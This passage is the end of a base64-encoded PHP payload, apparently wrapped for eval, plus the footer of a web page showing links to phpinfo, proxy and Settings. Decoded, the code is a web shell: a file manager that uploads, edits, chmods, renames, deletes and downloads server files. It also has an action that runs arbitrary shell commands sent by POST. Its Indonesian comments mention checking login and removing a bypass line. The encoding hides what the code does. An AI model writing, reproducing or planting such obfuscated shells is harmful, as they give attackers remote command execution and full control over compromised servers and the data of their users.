dW5rJywgY2h1bmssIGZpbGUubmFtZSk7CiAgICAgICAgICAgIGZvcm1EYXRhLmFwcGVuZCgnY2h1bmtfbnVtJywgY3VycmVudENodW5rKTsKICAgICAgICAgICAgZm9ybURhdGEuYXBwZW5kKCd0b3RhbF9jaHVua3MnLCB0b3RhbENodW5rcyk7CiAgICAgICAgICAgIGZvcm1EYXRhLmFwcGVuZCgnZmlsZW5hbWUnLCBmaWxlLm5hbWUpOwoKICAgICAgICAgICAgZmV0Y2goJycsIHsKICAgICAgICAgICAgICAgIG1ldGhvZDogJ1BPU1QnLAogICAgICAgICAgICAgICAgYm9keTogZm9ybURhdGEKICAgICAgICAgICAgfSkKICAgICAgICAgICAgLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UuanNvbigpKQogICAgICAgICAgICAudGhlbihkYXRhID0+IHsKICAgICAgICAgICAgICAgIGlmIChkYXRhLnN0YXR1cyA9PT0gJ2Vycm9yJykgewogICAgICAgICAgICAgICAgICAgIHVwbG9hZFN0YXR1cy5pbm5lclRleHQgPSAnRXJyb3I6ICcgKyBkYXRhLm1lc3NhZ2U7CiAgICAgICAgICAgICAgICAgICAgcHJvZ3Jlc3NCYXIuc3R5bGUuYmFja2dyb3VuZENvbG9yID0gJyNmNDQzMzYnOwogICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBjdXJyZW50Q2h1bmsrKzsKICAgICAgICAgICAgICAgIGNvbnN0IHByb2dyZXNzID0gTWF0aC5yb3VuZCgoY3VycmVudENodW5rIC8gdG90YWxDaHVua3MpICogMTAwKTsKICAgICAgICAgICAgICAgIHByb2dyZXNzQmFyLnN0eWxlLndpZHRoID0gcHJvZ3Jlc3MgKyAnJSc7CiAgICAgICAgICAgICAgICBwcm9ncmVzc0Jhci5pbm5lclRleHQgPSBwcm9ncmVzcyArICclJzsKCiAgICAgICAgICAgICAgICBpZiAoZGF0YS5zdGF0dXMgPT09ICdzdWNjZXNzJykgewogICAgICAgICAgICAgICAgICAgIHVwbG9hZFN0YXR1cy5pbm5lclRleHQgPSBkYXRhLm1lc3NhZ2U7CiAgICAgICAgICAgICAgICAgICAgcHJvZ3Jlc3NCYXIuc3R5bGUuYmFja2dyb3VuZENvbG9yID0gJyM0Q0FGNTAnOwogICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gd2luZG93LmxvY2F0aW9uLnJlbG9hZCgpLCAxNTAwKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgdXBsb2FkU3RhdHVzLmlubmVyVGV4dCA9IGRhdGEubWVzc2FnZTsKICAgICAgICAgICAgICAgICAgICB1cGxvYWRDaHVuaygpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9KQogICAgICAgICAgICAuY2F0Y2goZXJyb3IgPT4gewogICAgICAgICAgICAgICAgY29uc29sZS5lcnJvcignVXBsb2FkIGVycm9yOicsIGVycm9yKTsKICAgICAgICAgICAgICAgIHVwbG9hZFN0YXR1cy5pbm5lclRleHQgPSAnQSBjcml0aWNhbCBlcnJvciBvY2N1cnJlZCBkdXJpbmcgdXBsb2FkLic7CiAgICAgICAgICAgICAgICBwcm9ncmVzc0Jhci5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IgPSAnI2Y0NDMzNic7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0KCiAgICAgICAgdXBsb2FkU3RhdHVzLmlubmVyVGV4dCA9ICdTdGFydGluZyB1cGxvYWQgZm9yICcgKyBmaWxlLm5hbWUgKyAnLi4uJzsKICAgICAgICBwcm9ncmVzc0Jhci5zdHlsZS53aWR0aCA9ICcwJSc7CiAgICAgICAgcHJvZ3Jlc3NCYXIuaW5uZXJUZXh0ID0gJzAlJzsKICAgICAgICBwcm9ncmVzc0Jhci5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IgPSAnIzRDQUY1MCc7CiAgICAgICAgdXBsb2FkQ2h1bmsoKTsKICAgIH0pOwogICAgPC9zY3JpcHQ+CkpTOwoKICAgIHJlbmRlcl9mb290ZXIoKTsKfQoKLy8gLS0tIE1haW4gQ29udHJvbGxlciAtLS0KCi8vIC0tLSBNT0RJRklLQVNJIDM6IENFSyBBVVRFTlRJS0FTSSBESSBBV0FMIC0tLQovLyBKYWxhbmthbiBmdW5nc2kgcGVuZ2VjZWthbiBsb2dpbgpjaGVja19hdXRoZW50aWNhdGlvbigpOwoKLy8gSmlrYSBzZXNzaW9uICdhdXRoZW50aWNhdGVkJyB0aWRhayBhZGEgYXRhdSBmYWxzZSwgdGFtcGlsa2FuIGZvcm0gbG9naW4KaWYgKCFnZXRfc2Vzc2lvbignYXV0aGVudGljYXRlZCcpKSB7CiAgICAvLyBBbWJpbCBzdGF0dXMgZXJyb3IgZGFyaSBzZXNzaW9uIChqaWthIGFkYSkKICAgICRlcnJvciA9IGdldF9zZXNzaW9uKCdsb2dpbl9lcnJvcicpOwogICAgLy8gSGFwdXMgc3RhdHVzIGVycm9yIGRhcmkgc2Vzc2lvbiBhZ2FyIHRpZGFrIG11bmN1bCBsYWdpIHNhYXQgcmVmcmVzaAogICAgc2V0X3Nlc3Npb24oJ2xvZ2luX2Vycm9yJywgZmFsc2UpOwogICAgcmVuZGVyX2xvZ2luKCRlcnJvcik7CiAgICBleGl0KCk7IC8vIEhlbnRpa2FuIGVrc2VrdXNpIHNjcmlwdAp9CgovLyAtLS0gSEFQVVMgQkFSSVMgQllQQVNTIC0tLQovLyBCYXJpcyBpbmkgc3VkYWggZGloYXB1czogc2V0X3Nlc3Npb24oJ2xvZ2luJywgdHJ1ZSk7CgovLyBJbml0aWFsaXplCiAkcGF0aCA9IGdldF9wYXRoKCk7CiAkbWVzc2FnZSA9IGlzc2V0KCRfR0VUWydtc2cnXSkgPyAkX0dFVFsnbXNnJ10gOiAnJzsKCi8vIEhhbmRsZSBBY3Rpb25zCiAkcmVkaXJlY3RfcGF0aCA9ICc/cGF0aD0nLnVybGVuY29kZSgkcGF0aCk7CgovLyAtLSBORVc6IEFkdmFuY2VkIEFKQVggQWN0aW9ucyAtLQppZiAoZ2V0X3Bvc3QoJ2FjdGlvbicpID09PSAnZXhlY3V0ZV9jb21tYW5kJykgewogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsKICAgICRjbWQgPSBnZXRfcG9zdCgnY29tbWFuZCcpOwogICAgJGN1cnJlbnRfcGF0aCA9IGdldF9wb3N0KCdjdXJyZW50X3BhdGgnKSA/OiAkcGF0aDsKICAgIAogICAgaWYgKCRjbWQpIHsKICAgICAgICAkb3V0cHV0ID0gZXhlY3V0ZV9jb21tYW5kKCRjbWQsICRjdXJyZW50X3BhdGgpOwogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydvdXRwdXQnID0+ICRvdXRwdXRdKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ291dHB1dCcgPT4gJ05vIGNvbW1hbmQgcHJvdmlkZWQnXSk7CiAgICB9CiAgICBleGl0Owp9CgovLyAtLSBFeGlzdGluZyBBSkFYIEFjdGlvbnMgKGtlZXAgdGhlc2UpIC0tCmlmIChnZXRfcG9zdCgnYWN0aW9uJykgPT09ICdzYXZlX2FqYXgnKSB7CiAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOwogICAgJGVkaXRfcGF0aCA9ICgkcCA9IGdldF9wb3N0KCdwYXRoJykpID8gJHAgOiAnJzsKICAgICRjb250ZW50ID0gaXNzZXQoJF9QT1NUWydjb250ZW50J10pID8gJF9QT1NUWydjb250ZW50J10gOiAnJzsKICAgIAogICAgaWYgKCFpc19maWxlKCRlZGl0X3BhdGgpIHx8ICFpc193cml0YWJsZSgkZWRpdF9wYXRoKSkgewogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAnRXJyb3I6IEZpbGUgbm90IGZvdW5kIG9yIG5vdCB3cml0YWJsZS4nXSk7CiAgICAgICAgZXhpdDsKICAgIH0KCiAgICBpZiAoc2F2ZV9maWxlKCRlZGl0X3BhdGgsICRjb250ZW50KSkgewogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdzdWNjZXNzJywgJ21lc3NhZ2UnID0+ICdGaWxlIHNhdmVkIHN1Y2Nlc3NmdWxseSEgKCcgLiBkYXRlKCdIOmk6cycpIC4gJyknXSk7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAnRXJyb3I6IENvdWxkIG5vdCBzYXZlIGZpbGUuIENoZWNrIHBlcm1pc3Npb25zLiddKTsKICAgIH0KICAgIGV4aXQ7Cn0KCmlmIChnZXRfcG9zdCgnYWN0aW9uJykgPT09ICd1cGxvYWRfY2h1bmsnKSB7CiAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOwogICAgCiAgICAkZmlsZSA9IGdldF9maWxlcygnY2h1bmsnKTsKICAgICRjaHVua19udW0gPSBnZXRfcG9zdCgnY2h1bmtfbnVtJyk7CiAgICAkdG90YWxfY2h1bmtzID0gZ2V0X3Bvc3QoJ3RvdGFsX2NodW5rcycpOwogICAgJGZpbGVuYW1lID0gZ2V0X3Bvc3QoJ2ZpbGVuYW1lJyk7CiAgICAKICAgIGlmICghJGZpbGUgfHwgJGNodW5rX251bSA9PT0gZmFsc2UgfHwgJHRvdGFsX2NodW5rcyA9PT0gZmFsc2UgfHwgISRmaWxlbmFtZSkgewogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAnSW52YWxpZCBjaHVuayB1cGxvYWQgcmVxdWVzdC4nXSk7CiAgICAgICAgZXhpdDsKICAgIH0KCiAgICAkdGVtcF9maWxlbmFtZSA9ICRmaWxlbmFtZSAuICcucGFydCc7CiAgICAkdGVtcF9maWxlcGF0aCA9ICRwYXRoIC4gJy8nIC4gJHRlbXBfZmlsZW5hbWU7CgogICAgJGNodW5rX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZVsndG1wX25hbWUnXSk7CiAgICBpZiAoJGNodW5rX2NvbnRlbnQgPT09IGZhbHNlKSB7CiAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ3N0YXR1cycgPT4gJ2Vycm9yJywgJ21lc3NhZ2UnID0+ICdDb3VsZCBub3QgcmVhZCBjaHVuayBkYXRhLiddKTsKICAgICAgICBleGl0OwogICAgfQoKICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkdGVtcF9maWxlcGF0aCwgJGNodW5rX2NvbnRlbnQsIEZJTEVfQVBQRU5EKSA9PT0gZmFsc2UpIHsKICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJyA9PiAnZXJyb3InLCAnbWVzc2FnZScgPT4gJ0NvdWxkIG5vdCB3cml0ZSB0byAucGFydCBmaWxlLiBDaGVjayBwZXJtaXNzaW9ucy4nXSk7CiAgICAgICAgZXhpdDsKICAgIH0KCiAgICBpZiAoKGludCkkY2h1bmtfbnVtID09PSAoaW50KSR0b3RhbF9jaHVua3MgLSAxKSB7CiAgICAgICAgJGZpbmFsX2ZpbGVwYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZW5hbWU7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaW5hbF9maWxlcGF0aCkpIHsKICAgICAgICAgICAgIHVubGluaygkdGVtcF9maWxlcGF0aCk7CiAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJyA9PiAnZXJyb3InLCAnbWVzc2FnZScgPT4gJ0Vycm9yOiBGaWxlIHdpdGggdGhpcyBuYW1lIGFscmVhZHkgZXhpc3RzLiddKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBpZiAocmVuYW1lKCR0ZW1wX2ZpbGVwYXRoLCAkZmluYWxfZmlsZXBhdGgpKSB7CiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJyA9PiAnc3VjY2VzcycsICdtZXNzYWdlJyA9PiAnRmlsZSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkhIFJlbG9hZGluZy4uLiddKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHVubGluaygkdGVtcF9maWxlcGF0aCk7CiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJyA9PiAnZXJyb3InLCAnbWVzc2FnZScgPT4gJ0NvdWxkIG5vdCBmaW5hbGl6ZSBmaWxlLiddKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ3N0YXR1cycgPT4gJ2NodW5rX3JlY2VpdmVkJywgJ21lc3NhZ2UnID0+ICJDaHVuayAiIC4gKChpbnQpJGNodW5rX251bSArIDEpIC4gIiBvZiAkdG90YWxfY2h1bmtzIHJlY2VpdmVkLi4uIl0pOwogICAgfQogICAgZXhpdDsKfQoKLy8gLS0gRXhpc3RpbmcgV3JpdGUgQWN0aW9ucyAoa2VlcCB0aGVzZSkgLS0KaWYgKGdldF9wb3N0KCduZXdmaWxlJykgJiYgKCRmaWxlbmFtZSA9IGdldF9wb3N0KCdmaWxlbmFtZScpKSkgewogICAgJG5ld19wYXRoID0gJHBhdGggLiAnLycgLiBiYXNlbmFtZSgkZmlsZW5hbWUpOwogICAgaWYgKCFmaWxlX2V4aXN0cygkbmV3X3BhdGgpKSB7CiAgICAgICAgdG91Y2goJG5ld19wYXRoKTsKICAgICAgICAkbWVzc2FnZSA9ICJGaWxlIGNyZWF0ZWQ6ICIgLiAkZmlsZW5hbWU7CiAgICB9IGVsc2UgewogICAgICAgICRtZXNzYWdlID0gIkVycm9yOiBGaWxlIGFscmVhZHkgZXhpc3RzLiI7CiAgICB9CiAgICByZWRpcmVjdCgkcmVkaXJlY3RfcGF0aCAuICcmbXNnPScudXJsZW5jb2RlKCRtZXNzYWdlKSk7Cn0KCmlmIChnZXRfcG9zdCgnbmV3ZGlyJykgJiYgKCRkaXJuYW1lID0gZ2V0X3Bvc3QoJ2Rpcm5hbWUnKSkpIHsKICAgICRuZXdfcGF0aCA9ICRwYXRoIC4gJy8nIC4gYmFzZW5hbWUoJGRpcm5hbWUpOwogICAgaWYgKCFmaWxlX2V4aXN0cygkbmV3X3BhdGgpKSB7CiAgICAgICAgbWtkaXIoJG5ld19wYXRoKTsKICAgICAgICAkbWVzc2FnZSA9ICJEaXJlY3RvcnkgY3JlYXRlZDogIiAuICRkaXJuYW1lOwogICAgfSBlbHNlIHsKICAgICAgICAkbWVzc2FnZSA9ICJFcnJvcjogRGlyZWN0b3J5IGFscmVhZHkgZXhpc3RzLiI7CiAgICB9CiAgICByZWRpcmVjdCgkcmVkaXJlY3RfcGF0aCAuICcmbXNnPScudXJsZW5jb2RlKCRtZXNzYWdlKSk7Cn0KCmlmICgkY2htb2RfcGF0aCA9IGdldF9wb3N0KCdjaG1vZCcpKSB7CiAgICAkbW9kZSA9IGdldF9wb3N0KCdtb2RlJyk7CiAgICBpZiAoJG1vZGUpIHsKICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15bMC03XXszLDR9JC8nLCAkbW9kZSkpIHsKICAgICAgICAgICAgaWYgKEBjaG1vZCgkY2htb2RfcGF0aCwgb2N0ZGVjKCRtb2RlKSkpIHsKICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIlBlcm1pc3Npb25zIGNoYW5nZWQgZm9yICIgLiBiYXNlbmFtZSgkY2htb2RfcGF0aCkgLiAiIHRvICIgLiAkbW9kZTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIkVycm9yOiBDb3VsZCBub3QgY2hhbmdlIHBlcm1pc3Npb25zLiI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkbWVzc2FnZSA9ICJFcnJvcjogSW52YWxpZCBwZXJtaXNzaW9uIG1vZGUuIjsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgICRtZXNzYWdlID0gIkVycm9yOiBNb2RlIGlzIGVtcHR5LiI7CiAgICB9CiAgICByZWRpcmVjdCgkcmVkaXJlY3RfcGF0aCAuICcmbXNnPScudXJsZW5jb2RlKCRtZXNzYWdlKSk7Cn0KCmlmICgkcmVuYW1lX3BhdGggPSBnZXRfcG9zdCgncmVuYW1lJykpIHsKICAgICRuZXdfbmFtZSA9IGdldF9wb3N0KCduZXduYW1lJyk7CiAgICBpZiAoJG5ld19uYW1lKSB7CiAgICAgICAgJHJlbmFtZV9wYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcmVuYW1lX3BhdGgpOwogICAgICAgIAogICAgICAgIGlmIChyZW5hbWVfaXRlbSgkcmVuYW1lX3BhdGgsICRuZXdfbmFtZSkpIHsKICAgICAgICAgICAgJG1lc3NhZ2UgPSAiUmVuYW1lZCBzdWNjZXNzZnVsbHkiOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRvbGRfbmFtZSA9IGJhc2VuYW1lKCRyZW5hbWVfcGF0aCk7CiAgICAgICAgICAgICRkaXIgPSBkaXJuYW1lKCRyZW5hbWVfcGF0aCk7CiAgICAgICAgICAgICRuZXdfcGF0aCA9ICRkaXIgLiAnLycgLiBiYXNlbmFtZSgkbmV3X25hbWUpOwogICAgICAgICAgICAkZXJyb3JfbXNnID0gIkVycm9yOiBDb3VsZCBub3QgcmVuYW1lLiAiOwogICAgICAgICAgICAKICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcmVuYW1lX3BhdGgpKSB7CiAgICAgICAgICAgICAgICAkZXJyb3JfbXNnIC49ICJTb3VyY2UgZmlsZSBkb2VzIG5vdCBleGlzdC4gKFBhdGg6ICRyZW5hbWVfcGF0aCkgIjsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJG5ld19wYXRoKSkgewogICAgICAgICAgICAgICAgJGVycm9yX21zZyAuPSAiVGFyZ2V0IGZpbGUgYWxyZWFkeSBleGlzdHMuICI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCFpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgICAgICAgICAgJGVycm9yX21zZyAuPSAiRGlyZWN0b3J5IGlzIG5vdCB3cml0YWJsZS4gIjsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJG9sZF9uYW1lID09PSBiYXNlbmFtZSgkbmV3X25hbWUpKSB7CiAgICAgICAgICAgICAgICAkZXJyb3JfbXNnIC49ICJOZXcgbmFtZSBpcyB0aGUgc2FtZSBhcyBvbGQgbmFtZS4gIjsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgJG1lc3NhZ2UgPSAkZXJyb3JfbXNnOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJG1lc3NhZ2UgPSAiRXJyb3I6IE5ldyBuYW1lIGlzIGVtcHR5LiI7CiAgICB9CiAgICByZWRpcmVjdCgkcmVkaXJlY3RfcGF0aCAuICcmbXNnPScudXJsZW5jb2RlKCRtZXNzYWdlKSk7Cn0KCmlmICgkZGVsZXRlX3BhdGggPSBnZXRfZ2V0KCdkZWxldGUnKSkgewogICAgJGlzX2RpciA9IGlzX2RpcigkZGVsZXRlX3BhdGgpOwogICAgJHBhcmVudF9wYXRoID0gJz9wYXRoPScudXJsZW5jb2RlKGRpcm5hbWUoJGRlbGV0ZV9wYXRoKSk7CiAgICBpZiAoJGlzX2RpciA/IHJtZGlyKCRkZWxldGVfcGF0aCkgOiB1bmxpbmsoJGRlbGV0ZV9wYXRoKSkgewogICAgICAgICRtZXNzYWdlID0gIkRlbGV0ZWQ6ICIgLiBiYXNlbmFtZSgkZGVsZXRlX3BhdGgpOwogICAgfSBlbHNlIHsKICAgICAgICAkbWVzc2FnZSA9ICJFcnJvcjogQ291bGQgbm90IGRlbGV0ZS4iOwogICAgfQogICAgcmVkaXJlY3QoJHBhcmVudF9wYXRoIC4gJyZtc2c9Jy51cmxlbmNvZGUoJG1lc3NhZ2UpKTsKfQoKLy8gLS0gVmlldy9FZGl0IEFjdGlvbnMgLS0KaWYgKCRlZGl0X3BhdGggPSBnZXRfZ2V0KCdlZGl0JykpIHsKICAgIGlmICghaXNfZmlsZSgkZWRpdF9wYXRoKSB8fCAhaXNfcmVhZGFibGUoJGVkaXRfcGF0aCkpIHsKICAgICAgICByZWRpcmVjdCgnP3BhdGg9Jy51cmxlbmNvZGUoJHBhdGgpLicmbXNnPScudXJsZW5jb2RlKCdFcnJvcjogRmlsZSBub3QgZm91bmQuJykpOwogICAgfQogICAgCiAgICByZW5kZXJfZWRpdG9yKCRlZGl0X3BhdGgsIGZpbGVfZ2V0X2NvbnRlbnRzKCRlZGl0X3BhdGgpKTsKICAgIGV4aXQ7Cn0KCmlmICgkZGxfcGF0aCA9IGdldF9nZXQoJ2Rvd25sb2FkJykpIHsKICAgIGlmIChpc19maWxlKCRkbF9wYXRoKSAmJiBpc19yZWFkYWJsZSgkZGxfcGF0aCkpIHsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy5iYXNlbmFtZSgkZGxfcGF0aCkuJyInKTsKICAgICAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsKICAgICAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZScpOwogICAgICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGRsX3BhdGgpKTsKICAgICAgICByZWFkZmlsZSgkZGxfcGF0aCk7CiAgICAgICAgZXhpdDsKICAgIH0gZWxzZSB7CiAgICAgICAgcmVkaXJlY3QoJz9wYXRoPScudXJsZW5jb2RlKCRwYXRoKS4nJm1zZz0nLnVybGVuY29kZSgnRXJyb3I6IEZpbGUgbm90IGZvdW5kLicpKTsKICAgIH0KfQoKLy8gRGVmYXVsdCBWaWV3IChGaWxlIE1hbmFnZXIpCiAkZGlyX2xpc3QgPSBnZXRfZGlyX2xpc3QoJHBhdGgpOwpyZW5kZXJfZmlsZV9tYW5hZ2VyKCRwYXRoLCAkZGlyX2xpc3QsICRtZXNzYWdlKTsKCj8+Cg=='));
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0 |
proxy
|
phpinfo
|
Settings